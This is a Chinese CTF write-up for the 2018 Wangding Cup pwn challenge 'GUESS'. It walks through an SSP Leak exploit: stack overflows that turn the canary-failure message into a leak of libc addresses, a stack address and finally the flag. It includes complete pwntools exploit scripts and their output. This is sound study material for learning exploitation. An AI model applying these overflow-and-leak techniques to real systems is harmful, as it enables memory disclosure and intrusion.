2018网鼎杯pwn-GUESS

hint: libc基址泄露+flag泄露

开启了canary保护

IDA观察一波:

发现输入flag的地方有栈溢出,并且运行了一下发现一共可以输入3次,同时因为有fork的操作,所以即使第一次输入触发了canary,之后仍然可以进行第二第三次输入。

这里利用SSP Leak就可以泄漏libc基址和flag了。

触发canary后,程序会以%s输出__libc_main_argv[0],可以通过栈溢出覆盖到这个位置的,从而泄漏出想要泄漏的东西。

使用gdb对程序进行调试,很方便就能得到该位置:

__libc_main_argv[0]=0x7fffffffdde8

在gets函数后下断点,对栈进行观察,找到输入在栈中的位置:

这里我输入的是随便打的tyuio

input=0x7fffffffdcc0

所以需要的填充为:0x7fffffffdde8-0x7fffffffdcc0=296

不知道libc版本的话,三次栈溢出貌似不太够用,所以我先泄漏了两个libc函数地址,手动找到了libc版本。

1
2
3
4
5
6
from pwn import *
sh=process("./GUESS")
elf=ELF("./GUESS")
puts_got=elf.got["puts"]
start_got=elf.got["__libc_start_main"]
sh.recvuntil('Please type your guessing flag') sh.sendline("a"*296+p64(puts_got)) sh.recvuntil('*** stack smashing detected ***: ') puts_add=u64(sh.recv(6)+"\x00\x00")
print hex(puts_add)
sh.recvuntil('Please type your guessing flag') sh.sendline("a"*296+p64(start_got)) sh.recvuntil('*** stack smashing detected ***: ') start_add=u64(sh.recv(6)+"\x00\x00")
print hex(start_add)

一开始接受地址的时候,recv了8个字节,结果出了问题,从上面的栈图中也可以发现,64位程序内存的地址貌似最多只有6个字节,因此接受6个字节,再加2个\x00就可以了。

运行得到两个libc函数的地址:

通过网站在线查询可以得到libc版本(其实也可以用LibcSearcher这个库,但最近重装虚拟机还没弄好):

得到基址:libc_base=puts_add-0x06f690

为了泄漏flag,还要知道栈的地址。

libc里有*environ指针指向栈地址,所以可以通过这个指针泄漏栈地址。

在刚刚的网站可以查到_environ与libc基址之间的偏移。

1
environ_add=libc_base+0x3c6f38
sh.recvuntil('Please type your guessing flag')
sh.sendline("a"*296+p64(environ_add))
sh.recvuntil('*** stack smashing detected ***: ')
stack_add=u64(sh.recv(6)+"\x00\x00")

得到了栈地址之后,只要知道flag在栈中的偏移,就可以泄漏flag。

通过gdb查看栈地址:

计算flag在栈中偏移:

0x7fffffffddf8-0x7fffffffdc90=360

最终exp:

1
from pwn import *
sh=process("./GUESS")
elf=ELF("./GUESS")
puts_got=elf.got["puts"]
sh.recvuntil('Please type your guessing flag')
sh.sendline("a"*296+p64(puts_got))
sh.recvuntil('*** stack smashing detected ***: ')
puts_add=u64(sh.recv(6)+"\x00\x00")
libc_base=puts_add-0x06f690
environ_add=libc_base+0x3c6f38
sh.recvuntil('Please type your guessing flag')
sh.sendline("a"*296+p64(environ_add))
sh.recvuntil('*** stack smashing detected ***: ')
stack_add=u64(sh.recv(6)+"\x00\x00")
sh.recvuntil('Please type your guessing flag')
sh.sendline("a"*296+p64(stack_add-360))
sh.recvuntil('*** stack smashing detected ***: ')
flag=sh.recvuntil("}")
print flag

运行结果:

1
parallels@parallels-vm:~$ python guess.py
[+] Starting local process './GUESS': pid 22240
[*] '/home/parallels/GUESS'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Process './GUESS' stopped with exit code 0 (pid 22240)
flag{just4eriri}
文章目录
|